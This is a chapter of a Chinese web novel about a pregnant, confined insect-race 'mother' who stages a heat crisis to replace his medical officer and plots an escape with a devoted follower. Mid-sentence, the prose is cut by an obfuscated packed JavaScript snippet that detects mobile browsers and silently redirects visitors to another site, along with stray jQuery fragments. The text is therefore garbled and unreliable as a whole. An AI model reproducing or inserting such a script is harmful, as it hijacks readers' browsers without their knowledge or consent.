16.第 16 章

作品:《虫母复苏

    莱昂的喉结剧烈滚动:“为了我们的孩子,妈妈,我无所不能,我不会允许您离开我。”


    阿斯兰撑起身体,靠在床头,他的眼睛因为高热而蒙着一层水光,却依旧冷得像冰,“我不需要,别过来。”


    阿斯兰的尾巴甩过来,抽在他脚前的地板上,发出清脆的响声,“谁敢再走一步,我杀了他。”


    莱昂停住,但他没有后退,他就站在那里,用那双深不见底的眼睛看着阿斯兰,眼底翻涌着太多克制与焦灼。


    “妈妈,”他的声音沙哑,“您需要帮助。”


    “我不需要。”阿斯兰的呼吸越来越急促,信息素越来越浓郁,“我需要你们全部滚出去。”


    奥瑟也向前迈了一步:“妈妈,您发情了。这不是您自己能控制的,让我来帮您,您让莱昂出去。”


    “我比你们更清楚我能不能控制!”阿斯兰的尾巴再次甩过来,这次直接抽在奥瑟的小腿上,留下一道红痕,“我让你们滚,听不见吗?”


    奥瑟没有躲,他只是跪下来,跪在床前:“妈妈,您打我骂我都可以,但让我在这里,让我陪着您。”


    莱昂也跪了下来。


    然后是门外的骚动,那些挤在走廊里的雄虫,听见了里面的动静,看见了莱昂和奥瑟跪下,也纷纷跪倒在地。


    “妈妈——”


    “让我进去,妈妈——”


    “求您了妈妈——”


    阿斯兰靠在床头,看着那些跪伏的身影,听着那些狂热的呼唤。


    对于这些雄虫来说,虫母的发情信息素,从来不是混乱的信号,而是集结的号角,它不会让他们互相争斗到失控,只会让他们更加疯狂地涌向他。


    “陛下。”


    赫里安挤过跪伏的雄虫,走到床前,他没有跪下,只是站在那里,低头看着阿斯兰,金丝眼镜后的复眼,依旧清明。


    “您这是何必。”他说,声音很轻,只有两人能听见,“用这种方式,伤的是您自己。”


    阿斯兰看着他,眼底掠过一丝冷傲的情绪:“你怎么还清醒?”


    “因为我知道这是您的算计。”赫里安的嘴角弯了弯,弧度很浅,带着苦涩,“您想制造混乱,想趁乱逃出去,想换掉医疗官,想做很多事。”


    阿斯兰没有说话。


    “但您忘了一件事。”赫里安继续说,“这些雄虫,他们也许会因为您的信息素而疯狂,但他们永远不会伤害您。他们只会更想保护您,更想守在您身边,更想——”


    “够了。”阿斯兰打断他。


    赫里安闭上嘴,只是看着他。


    那双眼睛里有心疼,有无奈,还有一种要溢出来的悲哀。


    “陛下,您想换医疗官,可以。您想有更多自由,也可以。但请您……不要再这样伤害自己。”


    阿斯兰的心猛地一颤,忽然觉得有些可笑。


    他算计了一切,却忘了算赫里安。


    这个永远理智、永远克制、永远站在他身后的宰相,是唯一一个能在他的信息素中保持清醒的人。


    “拉诺的手法确实不适合孕后期。”赫里安直起身,声音恢复正常,让所有人都能听见,“我会安排新的医疗官候选,由您亲自挑选。”


    赫里安在帮他。


    虽然赫里安并不知道他和缪塞拉的计策,却阴差阳错地当着所有雄虫的面,用最正当的理由,帮他实现了第一个目标。


    “至于现在,”赫里安转向那些跪着的雄虫,“陛下需要休息。所有人退出寝殿,在门外等候。莱昂、奥瑟,你们留下,但保持距离,有异议吗?”


    没有人有异议,因为赫里安的语气不是请求。


    雄虫们开始退出,虽然不甘,虽然一步三回头,但终究是退了出去,门在他们身后合拢,隔绝了大部分视线,却隔绝不了不断弥漫的信息素。


    寝殿里只剩下阿斯兰、莱昂、奥瑟,和站在床边的赫里安。


    “陛下,”赫里安低头看着他,“您现在感觉怎么样?”


    阿斯兰闭上眼睛。


    高热还在继续,信息素还在失控地外溢,腹中的虫卵因为这突如其来的刺激而变得活跃,在他体内轻轻蠕动着,争夺着空间。


    “还死不了。”


    赫里安的眉头皱了皱,却没有多说什么,他只是从袖中取出一只小小的水晶瓶,递到阿斯兰唇边:“抑制剂,您喝下,不会影响虫卵。”


    阿斯兰睁开眼睛,看着那只水晶瓶。


    透明的液体在里面微微晃动,泛着淡蓝色的微光,他知道这是什么东西——专门用来压制虫母发情信息素的强效抑制剂,副作用是会让他在接下来几个小时内虚弱无力。


    但也是他现在最需要的东西。


    他只想制造混乱,才不想和任何雄虫交/配。


    他接过水晶瓶,一饮而尽。


    液体滑入喉咙的瞬间,一股凉意从胃部蔓延开来,迅速扩散到四肢百骸,灼烧般的高热开始消退,信息素的浓度也开始下降。


    赫里安的眼底掠过一丝光,转瞬即逝。


    莱昂皱起眉头:“必须加强守备,监控所有数据,在妈妈平安生产之前,任何意外都不允许再发生,给妈妈的束缚措施要升级,我不希望妈妈再有任何自主活动的可能。”


    奥瑟并未否认,眸光深邃,“好了,先走吧,陛下需要的是休息,不是围观。”


    莱昂终于站起身,退了出去。


    赫里安最后一个离开,他在门口停住,回头看了阿斯兰一眼。


    那一眼里,有千言万语。


    门轻轻合拢,寝殿重归寂静,阿斯兰靠在床头,闭上眼睛。


    他成功了第一步,制造混乱,更换了医疗官,赫里安的配合让这个目标实现得比他想象的更快、更顺利。


    他抬起手,按上自己隆起的孕肚:“等着。”


    他轻声说,不知是对虫卵说,还是对自己说,“妈妈会带你们出去,死也让你们死在笼子外面。”


    虫卵轻轻动了动,像是在害怕,但还是在回应妈妈的声音。


    月光从窗帘的缝隙渗进来,落在虫母苍白而美丽的脸庞上,落在那被四颗虫卵撑起的饱满弧线上。


    第一颗虫卵此刻正顶着他的胃部,把他的肚皮撑起一个凸起的小包。


    真的快出生了。


    好在缪塞拉及时回来了,他从窗户跃进,单膝跪着,仰望着床上的虫母。


    “妈妈,我知道了,王宫守卫每六时换一班,交接时,会有十七秒的真空时间,那时候旧守卫刚刚离开,新守卫尚未就位,东侧走廊无人监控。”


    阿斯兰终于来了精神:“只有东侧?”


    “只有东侧。”缪塞拉点头,“因为东侧走廊连接的是废弃的旧医疗区,平时无人使用,守卫们认为那里不需要严密监控,从那里可以去往蜜库密道,翻出去就是王都的贫民区。”


    “时间不多了。”阿斯兰垂下眼睛,“在第一颗虫卵出生之前,我必须布置好一切,等它出生时,信息素的波动会制造混乱,那就是行动的信号。”


    缪塞拉跪在那里,静静地听着。


    “我需要你做的事有三件。”阿斯兰的声音冷静得像在安排一场军事行动,“第一,确认蜜库密道的逃生路线,第二,找艾瑞斯,在行动当天接应我。第三……”


    阿斯兰盯着自己的孕腹,“我得把四个孩子都带走,我不想让他们留在王宫里,让他们一看到孩子就想起我。”


    “是,妈妈。”缪塞拉低哑地回应,然而,他听到阿斯兰的话时,发觉阿斯兰那冰冷决绝下不经意流露的属于“母亲”的执拗,心肝一软,又一酸。


    即使是怀着被迫承受的虫卵,即使是计划着逃离,他也下意识地将这些负担划归为自己的责任,


    缪塞拉膝行上前,在阿斯兰愕然的目光中,他伸出手臂,轻柔地将阿斯兰连同那沉重的孕腹一起,小心翼翼地拥入了怀中。


    这是一个逾越的举动,一个大胆至极的举动。


    没有人拥抱过阿斯兰。


    也许是不敢,也许是不想,总之,阿斯兰身体僵硬了,并不习惯这个拥抱。


    但……也不讨厌。


    “妈妈……”缪塞拉将脸埋在阿斯兰颈侧,深深吸了一口气,声音闷闷的,“别动……就一会儿。我需要记住这个感觉……带着它,去做您吩咐的事。”


    阿斯兰能猜到,对于一名隐翅种而言,目标的体温、气息、心跳节奏,都是铭刻在骨子里的追踪要素。


    但此刻,缪塞拉的思绪在拥抱的瞬间,被猛地拉回了多年以前,那个决定了他此后所有痴狂的初遇。


    那时的缪塞拉,只是一个刚刚显露出S等天赋的少年,也因此被同族忌惮,被其他高等虫族排斥。


    他习惯了独来独往,习惯了将真实的自己藏在拟态之下,习惯了用漠然包裹敏感,用疏离应对世界的恶意。


    直到那天,在试验场模拟实战的公共休息区。


    空气里弥漫着汗味、信息素碰撞的火药味,以及年轻雄虫们炫耀或争吵的嘈杂。


    缪塞拉像往常一样,冷眼旁观着莱昂被众人簇拥,奥瑟热情洋溢地与人交谈,埃德蒙带着虚伪的笑脸周旋,梅利亚则


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250402|197904||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    安静地擦拭着他的武器。


    然后,他看到了阿斯兰。


    那时的阿斯兰,还没有“虫母”这个沉重而神圣的头衔,他只是试验场中一个特别的存在——美丽到不真实,却也冰冷疏离得令人不敢靠近。


    他独自坐在离人群最远的窗边,垂眸看着手里的战术面板,银发如月光般流泻,侧脸线条精致却缺乏表情,仿佛周遭的一切喧嚣都与他无关。


    缪塞拉见过很多漂亮的虫族,但阿斯兰是不同的。


    那种美不柔弱,不可供亵渎,却剥离了温度,锋利到极致,像用寒冰雕琢出的刃,晶莹剔透,散发着生人勿近的寒意。


    在阿斯兰身上,他看不到其他高等虫族根植于血脉的对力量、地位、繁衍的本能渴望。


    阿斯兰像是一个误入虫群的异类,他冷静地观察一切,远离一切。


    缪塞拉不动声色地观察着阿斯兰。


    看他如何用最简洁高效的动作完成训练,看他如何避开无谓的社交,看他如何在看似被动的情况下,总能找到最利于自己的位置。


    阿斯兰不张扬,但存在感极强,他像一颗独自运转的冷星,遵循着自己的轨迹,不在乎他人的引力。


    那次试验场大爆炸,能源核心泄露,斐涅尔人们惊慌失措,本能地涌向出口或寻找掩体。


    混乱中,缪塞拉凭借隐翅族的天赋,第一时间隐匿了身形,他随手救了几个老弱病残,然后找到了阿斯兰。


    阿斯兰没有跑,他甚至没有显露出惊慌,他就站在离爆炸中心不远的一处结构承重柱旁,快速扫视着混乱的现场。


    然后,他迎着四散飞射的金属碎片和能量流,飞到了几个被吓得瘫软在地的低等幼虫旁边,用身体和找到的防护板,为他们挡住了致命的冲击。


    碎片划破了他的手臂和脸颊,渗出血珠,但他连眉头都没皱一下。


    他的动作没有任何英勇或悲悯的情绪,仿佛保护弱者不是出于道德,而是基于他心里逻辑的本能,他冷静到足以在群体恐慌中保持绝对理智。


    那一刻,某种东西在缪塞拉心中彻底生根发芽,长成了参天大树,盘根错节,深入骨髓。


    阿斯兰成了他昏暗世界里的唯一月光,唯一的意义。


    他想要靠近这束光,想要被这束光照亮,甚至……想要将这束光拢入自己的阴影,成为只属于自己的秘密。


    他开始观察阿斯兰的一切习惯、喜恶、小动作。


    他知道阿斯兰喜欢独处,知道他对某些花香过敏,知道他思考时会托着下巴,知道他并非表面那样对一切都漠不关心,只是将情绪藏得很深很深。


    再后来,阿斯兰被确认为虫母,被接入王宫,成了所有雄虫疯狂追逐的对象,成了万众瞩目的“母亲”,被奉上神坛,也被锁进金笼。


    缪塞拉的渴望变成了痛苦。


    但他从未停止注视。


    他利用天赋潜入阴影,如同最虔诚也最卑劣的信徒,偷窥着神殿中的神明。


    他看阿斯兰如何用冰冷应对狂热,看他在孕育中如何一日日沉寂下去,也看他眼底深处不曾熄灭的星火。


    他心急如焚,险些炸了整座虫巢,却因为没有得到妈妈的允许而不敢动手。


    直到阿斯兰主动联系他,他知道,等待已久的时刻到来了。


    他深深爱着的神明,不愿再做被供奉的塑像,他要亲手打碎神坛。


    而他,缪塞拉,将是他最隐秘的剑,最黑暗的影,最忠诚也最疯狂的共犯。


    “妈妈……”


    缪塞拉在阿斯兰耳边,用气音呢喃,仿佛怕惊扰了这一刻的幻梦,“您是对的,身体应该和灵魂一样是自由的……哪怕自由意味着毁灭,但我们活在世上,只求问心无愧。”


    他的手臂收紧了些,却又控制着力道,不去压迫那隆起的腹部:“我会为您铺平道路,一切都会如您所愿。您想带走虫卵,我们就带走。您想让他们再也找不到您,我们就消失得无影无踪。”


    “但请您答应我,”缪塞拉的声音低哑而执拗,“无论去哪里,请允许我跟随。我的命,我的毒,我的天赋,我的一切……都是您的。我不求并肩,只求能待在您的影子里。”


    阿斯兰静静地看着他,没有立刻回应。


    良久,阿斯兰抬起未曾被束缚的那只手,指尖轻轻擦过缪塞拉的脸颊。


    “记住你说的话,缪塞拉。”阿斯兰的声音很轻,却带着千钧之力,“我的影子里,不需要叛徒。”


    缪塞拉再次低头,将额头轻轻抵在阿斯兰的手背上。


    “永不背叛,妈妈。”